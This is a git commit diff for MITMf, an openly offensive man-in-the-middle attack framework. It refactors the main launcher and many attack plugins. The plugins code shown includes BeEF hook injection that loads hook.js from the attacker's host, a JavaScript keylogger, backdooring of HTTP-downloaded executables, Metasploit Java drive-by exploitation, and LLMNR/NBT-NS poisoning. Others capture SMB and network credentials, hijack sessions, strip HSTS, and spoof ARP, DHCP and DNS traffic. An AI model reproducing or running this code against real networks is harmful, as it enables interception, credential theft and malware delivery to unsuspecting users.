-Initial Spoof plugin rewrite

-Dep check on plugins
-NetfilterQueue python lib port
-plugin output re-design
This commit is contained in:
byt3bl33d3r 2015-03-10 02:26:56 +01:00
parent 92be661e9d
commit 23a273e8a0
17 changed files with 595 additions and 522 deletions

249
mitmf.py
View file

@ -6,145 +6,170 @@ from twisted.internet import reactor
from libs.sslstrip.CookieCleaner import CookieCleaner from libs.sslstrip.CookieCleaner import CookieCleaner
from libs.sergioproxy.ProxyPlugins import ProxyPlugins from libs.sergioproxy.ProxyPlugins import ProxyPlugins
import sys
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr
from configobj import ConfigObj
from plugins import *
plugin_classes = plugin.Plugin.__subclasses__()
import sys
import argparse import argparse
import os
try: try:
import user_agents import user_agents
except: except:
print "[*] user_agents library missing! User-Agent parsing will be disabled!" print "[-] user_agents library missing! User-Agent parsing will be disabled!"
try:
from configobj import ConfigObj
except:
sys.exit("[-] configobj library not installed!")
from plugins import *
plugin_classes = plugin.Plugin.__subclasses__()
mitmf_version = "0.9" mitmf_version = "0.9"
sslstrip_version = "0.9" sslstrip_version = "0.9"
sergio_version = "0.2.1" sergio_version = "0.2.1"
if __name__ == "__main__": parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add MITMf options
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use")
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
#add sslstrip options
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
#slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #Initialize plugins
#add MITMf options plugins = []
mgroup = parser.add_argument_group("MITMf", "Options for MITMf") try:
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") for p in plugin_classes:
mgroup.add_argument("-i", "--interface", type=str, metavar="interface" ,help="Interface to listen on") plugins.append(p())
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") except:
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') print "Failed to load plugin class %s" % str(p)
#add sslstrip options
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
#slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
#Initialize plugins #Give subgroup to each plugin with options
plugins = [] try:
try: for p in plugins:
for p in plugin_classes: if p.desc == "":
plugins.append(p()) sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name)
except: else:
print "Failed to load plugin class %s" % str(p) sgroup = parser.add_argument_group("%s" % p.name, p.desc)
#Give subgroup to each plugin with options sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name)
try:
for p in plugins:
if p.desc == "":
sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name)
else:
sgroup = parser.add_argument_group("%s" % p.name,p.desc)
sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name) if p.has_opts:
if p.has_opts: p.add_options(sgroup)
p.add_options(sgroup) except NotImplementedError:
except NotImplementedError: sys.exit("[-] %s plugin claimed option support, but didn't have it." % p.name)
print "Plugin %s claimed option support, but didn't have it." % p.name
args = parser.parse_args()
try:
configfile = ConfigObj(args.configfile)
except Exception, e:
sys.exit("[-] Error parsing config file: " + str(e))
config_args = configfile['MITMf']['args']
if config_args:
print "[*] Loading arguments from config file"
for arg in config_args.split(' '):
sys.argv.append(arg)
args = parser.parse_args() args = parser.parse_args()
try: #Check to see if called plugins require elevated privs
configfile = ConfigObj(args.configfile) try:
except Exception, e:
sys.exit("[-] Error parsing config file: " + str(e))
config_args = configfile['MITMf']['args']
if config_args:
print "[*] Loading arguments from config file"
for arg in config_args.split(' '):
sys.argv.append(arg)
args = parser.parse_args()
if not args.interface:
sys.exit("[-] -i , --interface argument is required")
args.configfile = configfile #so we can pass the configobj down to all the plugins
log_level = logging.__dict__[args.log_level.upper()]
#Start logging
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
rootLogger = logging.getLogger()
fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler)
#All our options should be loaded now, pass them onto plugins
print "[*] MITMf v%s started... initializing plugins" % mitmf_version
load = []
for p in plugins: for p in plugins:
try: if (vars(args)[p.optname] is True) and (p.req_root is True):
if getattr(args, p.optname): if os.geteuid() != 0:
p.initialize(args) sys.exit("[-] %s plugin requires root privileges" % p.name)
load.append(p) except AttributeError:
except NotImplementedError: sys.exit("[-] %s plugin is missing the req_root attribute" % p.name)
print "Plugin %s lacked initialize function." % p.name
#Plugins are ready to go, start MITMf ####################################################################################################
if args.disproxy:
ProxyPlugins.getInstance().setPlugins(load)
else:
from libs.sslstrip.StrippingProxy import StrippingProxy # Here we check for some variables that are very commonly used, and pass them down to the plugins
from libs.sslstrip.URLMonitor import URLMonitor try:
args.ip_address = get_if_addr(args.interface)
if (args.ip_address == "0.0.0.0") or (args.ip_address is None):
sys.exit("[-] Interface %s does not have an assigned IP address" % args.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
URLMonitor.getInstance().setFaviconSpoofing(args.favicon) try:
CookieCleaner.getInstance().setEnabled(args.killsessions) args.mac_address = get_if_hwaddr(args.interface)
ProxyPlugins.getInstance().setPlugins(load) except Exception, e:
sys.exit("[-] Error retrieving interface MAC address: %s" % e)
strippingFactory = http.HTTPFactory(timeout=10) args.configfile = configfile #so we can pass the configobj down to all the plugins
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory) ####################################################################################################
#load reactor options for plugins that have the 'plugin_reactor' attribute log_level = logging.__dict__[args.log_level.upper()]
for p in plugins:
if getattr(args, p.optname):
if hasattr(p, 'plugin_reactor'):
p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version #Start logging
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
rootLogger = logging.getLogger()
if args.hsts: fileHandler = logging.FileHandler("./logs/mitmf.log")
print "[*] sslstrip+ by Leonardo Nve running..." fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler)
print "[*] sergio-proxy v%s online" % sergio_version #####################################################################################################
reactor.run() #All our options should be loaded now, pass them onto plugins
print "[*] MITMf v%s started... initializing plugins" % mitmf_version
print "[*] sergio-proxy v%s online" % sergio_version
#cleanup on exit load = []
for p in load:
p.finish() for p in plugins:
try:
if getattr(args, p.optname):
p.initialize(args)
load.append(p)
except NotImplementedError:
print "Plugin %s lacked initialize function." % p.name
#Plugins are ready to go, start MITMf
if args.disproxy:
ProxyPlugins.getInstance().setPlugins(load)
else:
from libs.sslstrip.StrippingProxy import StrippingProxy
from libs.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory)
#load custom reactor options for plugins that have the 'plugin_reactor' attribute
for p in plugins:
if getattr(args, p.optname):
if hasattr(p, 'plugin_reactor'):
p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version
if args.hsts:
print "[*] sslstrip+ by Leonardo Nve running..."
reactor.run()
#run each plugins finish() on exit
for p in load:
p.finish()

View file

@ -10,14 +10,14 @@ import time
import sys import sys
class AppCachePlugin(Plugin): class AppCachePlugin(Plugin):
name = "App Cache Poison" name = "App Cache Poison"
optname = "appoison" optname = "appoison"
desc = "Performs App Cache Poisoning attacks" desc = "Performs App Cache Poisoning attacks"
implements = ["handleResponse"] implements = ["handleResponse"]
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.mass_poisoned_browsers = [] self.mass_poisoned_browsers = []
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
@ -27,8 +27,6 @@ class AppCachePlugin(Plugin):
except Exception, e: except Exception, e:
sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e)) sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e))
print "[*] App Cache Poison plugin online"
def handleResponse(self, request, data): def handleResponse(self, request, data):
url = request.client.uri url = request.client.uri

View file

@ -2,8 +2,6 @@ from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
from time import sleep from time import sleep
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
import sys import sys
import json import json
import threading import threading
@ -12,15 +10,17 @@ import libs.beefapi as beefapi
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING) requests_log.setLevel(logging.WARNING)
class BeefAutorun(Inject, Plugin): class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun" name = "BeEFAutorun"
optname = "beefauto" optname = "beefauto"
has_opts = False
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
depends = ["Inject"]
req_root = False
has_opts = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
self.ip_address = options.ip_address
try: try:
beefconfig = options.configfile['MITMf']['BeEF'] beefconfig = options.configfile['MITMf']['BeEF']
@ -36,24 +36,14 @@ class BeefAutorun(Inject, Plugin):
self.All_modules = userconfig["ALL"] self.All_modules = userconfig["ALL"]
self.Targeted_modules = userconfig["targets"] self.Targeted_modules = userconfig["targets"]
try:
self.ip_address = get_if_addr(options.interface)
if self.ip_address == "0.0.0.0":
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
Inject.initialize(self, options) Inject.initialize(self, options)
self.black_ips = [] self.black_ips = []
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport']) self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if beef.login(beefconfig['user'], beefconfig['pass']): if not beef.login(beefconfig['user'], beefconfig['pass']):
print "[*] Successfully logged in to BeEF"
else:
sys.exit("[-] Error logging in to BeEF!") sys.exit("[-] Error logging in to BeEF!")
print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()

View file

@ -3,19 +3,19 @@ from plugins.Inject import Inject
from pprint import pformat from pprint import pformat
import logging import logging
class BrowserProfiler(Inject, Plugin): class BrowserProfiler(Inject, Plugin):
name = "Browser Profiler" name = "Browser Profiler"
optname = "browserprofiler" optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients" desc = "Attempts to enumerate all browser plugins of connected clients"
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
has_opts = False depends = ["Inject"]
has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.html_payload = self.get_payload() self.html_payload = self.get_payload()
self.dic_output = {} # so other plugins can access the results self.dic_output = {} # so other plugins can access the results
print "[*] Browser Profiler online"
def post2dict(self, post): #converts the ajax post to a dic def post2dict(self, post): #converts the ajax post to a dic
dict = {} dict = {}

View file

@ -2,12 +2,13 @@ from plugins.plugin import Plugin
class CacheKill(Plugin): class CacheKill(Plugin):
name = "CacheKill" name = "CacheKill"
optname = "cachekill" optname = "cachekill"
desc = "Kills page caching by modifying headers" desc = "Kills page caching by modifying headers"
implements = ["handleHeader", "connectionMade"] implements = ["handleHeader", "connectionMade"]
has_opts = True
bad_headers = ['if-none-match', 'if-modified-since'] bad_headers = ['if-none-match', 'if-modified-since']
has_opts = True
req_root = False
def add_options(self, options): def add_options(self, options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")

View file

@ -55,9 +55,10 @@ from configobj import ConfigObj
class FilePwn(Plugin): class FilePwn(Plugin):
name = "FilePwn" name = "FilePwn"
optname = "filepwn" optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
implements = ["handleResponse"] implements = ["handleResponse"]
has_opts = False has_opts = False
desc = "Backdoor executables being sent over http using bdfactory" req_root = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
@ -98,8 +99,6 @@ class FilePwn(Plugin):
self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist']
print "[*] FilePwn plugin online"
def convert_to_Bool(self, aString): def convert_to_Bool(self, aString):
if aString.lower() == 'true': if aString.lower() == 'true':
return True return True

View file

@ -8,17 +8,19 @@ import argparse
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
class Inject(CacheKill, Plugin): class Inject(CacheKill, Plugin):
name = "Inject" name = "Inject"
optname = "inject" optname = "inject"
implements = ["handleResponse", "handleHeader", "connectionMade"] implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True has_opts = True
desc = "Inject arbitrary content into HTML content" req_root = False
desc = "Inject arbitrary content into HTML content"
depends = ["CacheKill"]
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.proxyip = options.ip_address
self.html_src = options.html_url self.html_src = options.html_url
self.js_src = options.js_url self.js_src = options.js_url
self.rate_limit = options.rate_limit self.rate_limit = options.rate_limit
@ -29,13 +31,6 @@ class Inject(CacheKill, Plugin):
self.match_str = options.match_str self.match_str = options.match_str
self.html_payload = options.html_payload self.html_payload = options.html_payload
try:
self.proxyip = get_if_addr(options.interface)
if self.proxyip == "0.0.0.0":
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
if self.white_ips: if self.white_ips:
temp = [] temp = []
for ip in self.white_ips.split(','): for ip in self.white_ips.split(','):
@ -59,7 +54,6 @@ class Inject(CacheKill, Plugin):
self.dtable = {} self.dtable = {}
self.count = 0 self.count = 0
self.mime = "text/html" self.mime = "text/html"
print "[*] Inject plugin online"
def handleResponse(self, request, data): def handleResponse(self, request, data):
#We throttle to only inject once every two seconds per client #We throttle to only inject once every two seconds per client

View file

@ -18,11 +18,13 @@ class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn" name = "JavaPwn"
optname = "javapwn" optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
depends = ["Browserprofiler"]
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.msfip = options.ip_address
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
try: try:
@ -39,13 +41,6 @@ class JavaPwn(BrowserProfiler, Plugin):
self.rpcip = msfcfg['rpcip'] self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass'] self.rpcpass = msfcfg['rpcpass']
try:
self.msfip = get_if_addr(options.interface)
if self.msfip == "0.0.0.0":
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
#Initialize the BrowserProfiler plugin #Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options) BrowserProfiler.initialize(self, options)
self.black_ips = [] self.black_ips = []
@ -58,7 +53,6 @@ class JavaPwn(BrowserProfiler, Plugin):
except Exception: except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
print "[*] JavaPwn plugin online"
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
t.setDaemon(True) t.setDaemon(True)
t.start() #start the main thread t.start() #start the main thread

View file

@ -3,18 +3,18 @@ from plugins.Inject import Inject
import logging import logging
class jskeylogger(Inject, Plugin): class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger" name = "Javascript Keylogger"
optname = "jskeylogger" optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages" desc = "Injects a javascript keylogger into clients webpages"
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
has_opts = False depends = ["Inject"]
has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.html_payload = self.msf_keylogger() self.html_payload = self.msf_keylogger()
print "[*] Javascript Keylogger plugin online"
def sendPostData(self, request): def sendPostData(self, request):
#Handle the plugin output #Handle the plugin output
if 'keylog' in request.uri: if 'keylog' in request.uri:

View file

@ -11,11 +11,13 @@ from plugins.CacheKill import CacheKill
class Replace(CacheKill, Plugin): class Replace(CacheKill, Plugin):
name = "Replace" name = "Replace"
optname = "replace" optname = "replace"
desc = "Replace arbitrary content in HTML content"
implements = ["handleResponse", "handleHeader", "connectionMade"] implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True depends = ["CacheKill"]
desc = "Replace arbitrary content in HTML content" has_opts = True
req_root = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
@ -25,11 +27,10 @@ class Replace(CacheKill, Plugin):
self.regex_file = options.regex_file self.regex_file = options.regex_file
if (self.search_str is None or self.search_str == "") and self.regex_file is None: if (self.search_str is None or self.search_str == "") and self.regex_file is None:
sys.exit("[*] Please provide a search string or a regex file") sys.exit("[-] Please provide a search string or a regex file")
self.regexes = [] self.regexes = []
if self.regex_file is not None: if self.regex_file is not None:
print "[*] Loading regexes from file"
for line in self.regex_file: for line in self.regex_file:
self.regexes.append(line.strip().split("\t")) self.regexes.append(line.strip().split("\t"))
@ -41,8 +42,6 @@ class Replace(CacheKill, Plugin):
self.dtable = {} self.dtable = {}
self.mime = "text/html" self.mime = "text/html"
print "[*] Replace plugin online"
def handleResponse(self, request, data): def handleResponse(self, request, data):
ip, hn, mime = self._get_req_info(request) ip, hn, mime = self._get_req_info(request)

View file

@ -1,7 +1,4 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
from libs.responder.Responder import start_responder from libs.responder.Responder import start_responder
from libs.sslstrip.DnsCache import DnsCache from libs.sslstrip.DnsCache import DnsCache
from twisted.internet import reactor from twisted.internet import reactor
@ -10,38 +7,29 @@ import os
import threading import threading
class Responder(Plugin): class Responder(Plugin):
name = "Responder" name = "Responder"
optname = "responder" optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests" desc = "Poison LLMNR, NBT-NS and MDNS requests"
has_opts = True has_opts = True
req_root = True
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.interface = options.interface self.interface = options.interface
if os.geteuid() != 0:
sys.exit("[-] Responder plugin requires root privileges")
try: try:
config = options.configfile['Responder'] config = options.configfile['Responder']
except Exception, e: except Exception, e:
sys.exit('[-] Error parsing config for Responder: ' + str(e)) sys.exit('[-] Error parsing config for Responder: ' + str(e))
try:
self.ip_address = get_if_addr(options.interface)
if self.ip_address == "0.0.0.0":
sys.exit("[-] Interface %s does not have an IP address" % self.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
print "[*] Responder plugin online" print "[*] Responder plugin online"
DnsCache.getInstance().setCustomAddress(self.ip_address) DnsCache.getInstance().setCustomAddress(self.ip_address)
for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']:
DnsCache.getInstance().setCustomRes(name, self.ip_address) DnsCache.getInstance().setCustomRes(name, self.ip_address)
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config)) t = threading.Thread(name='responder', target=start_responder, args=(options, options.ip_address, config))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()

View file

@ -2,30 +2,22 @@ from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
import sys import sys
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
class SMBAuth(Inject, Plugin): class SMBAuth(Inject, Plugin):
name = "SMBAuth" name = "SMBAuth"
optname = "smbauth" optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts" desc = "Evoke SMB challenge-response auth attempts"
depends = ["Inject"]
has_opts = True has_opts = True
req_root = False
def initialize(self, options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.target_ip = options.host self.target_ip = options.host
self.html_payload = self._get_data() self.html_payload = self._get_data()
if self.target_ip is None: if not self.target_ip:
try: self.target_ip = options.ip_address
self.target_ip = get_if_addr(options.interface)
if self.target_ip == "0.0.0.0":
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
print "[*] SMBAuth plugin online"
def add_options(self, options): def add_options(self, options):
options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]")

View file

@ -3,10 +3,11 @@ from libs.sslstrip.URLMonitor import URLMonitor
import sys import sys
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'
optname = 'hsts' optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass' desc = 'Enables SSLstrip+ for partial HSTS bypass'
has_opts = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
@ -16,5 +17,4 @@ class HSTSbypass(Plugin):
except Exception, e: except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
print "[*] SSLstrip+ plugin online"
URLMonitor.getInstance().setHstsBypass(config) URLMonitor.getInstance().setHstsBypass(config)

View file

@ -18,6 +18,7 @@ class SessionHijacker(Plugin):
desc = "Performs session hijacking attacks against clients" desc = "Performs session hijacking attacks against clients"
implements = ["cleanHeaders"] #["handleHeader"] implements = ["cleanHeaders"] #["handleHeader"]
has_opts = True has_opts = True
req_root = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
@ -48,8 +49,6 @@ class SessionHijacker(Plugin):
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
print "[*] Session Hijacker plugin online"
def cleanHeaders(self, request): # Client => Server def cleanHeaders(self, request): # Client => Server
headers = request.getAllHeaders().copy() headers = request.getAllHeaders().copy()
client_ip = request.getClientIP() client_ip = request.getClientIP()

View file

@ -16,11 +16,12 @@ import re
import os import os
class Sniffer(Plugin): class Sniffer(Plugin):
name ='Sniffer' name = "Sniffer"
optname = "sniffer" optname = "sniffer"
desc = "Sniffs for various protocol login and auth attempts" desc = "Sniffs for various protocol login and auth attempts"
implements = ["sendRequest"] implements = ["sendRequest"]
has_opts = False has_opts = False
req_root = True
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
@ -43,12 +44,12 @@ class Sniffer(Plugin):
n = NetCreds() n = NetCreds()
print "[*] Sniffer plugin online"
#if not self.parse: #if not self.parse:
t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
print self.plg_text
#else: #else:
# pcap = rdpcap(self.parse) # pcap = rdpcap(self.parse)
# for pkt in pcap: # for pkt in pcap:
@ -132,7 +133,10 @@ class NetCreds:
self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+'
def start(self, interface): def start(self, interface):
sniff(iface=interface, prn=self.pkt_parser, store=0) try:
sniff(iface=interface, prn=self.pkt_parser, store=0)
except Exception:
pass
def frag_remover(self, ack, load): def frag_remover(self, ack, load):
''' '''

View file

@ -1,15 +1,15 @@
# #
# DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof # DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof
# #
# CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py
#
from twisted.internet import reactor #from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor #from twisted.internet.interfaces import IReadDescriptor
from plugins.plugin import Plugin from plugins.plugin import Plugin
from time import sleep from time import sleep
import dns.resolver import dns.resolver
import nfqueue #import socket
from netfilterqueue import NetfilterQueue
#import nfqueue
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
@ -21,343 +21,434 @@ from urllib import unquote
import binascii import binascii
import random import random
class Spoof(Plugin): class Spoof(Plugin):
name = "Spoof" name = "Spoof"
optname = "spoof" optname = "spoof"
desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
has_opts = True has_opts = True
req_root = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' def initialize(self, options):
self.options = options '''Called if plugin is enabled, passed the options namespace'''
self.interface = options.interface self.options = options
self.arp = options.arp self.dnscfg = options.configfile['Spoof']['DNS']
self.icmp = options.icmp self.dhcpcfg = options.configfile['Spoof']['DHCP']
self.dns = options.dns self.hstscfg = options.configfile['SSLstrip+']
self.dhcp = options.dhcp self.target = options.target
self.shellshock = options.shellshock self.manualiptables = options.manualiptables
self.gateway = options.gateway
#self.summary = options.summary #Makes scapy more verbose
self.target = options.target debug = False
self.arpmode = options.arpmode if self.options.log_level is 'debug':
self.port = options.listen debug = True
self.hsts = options.hsts
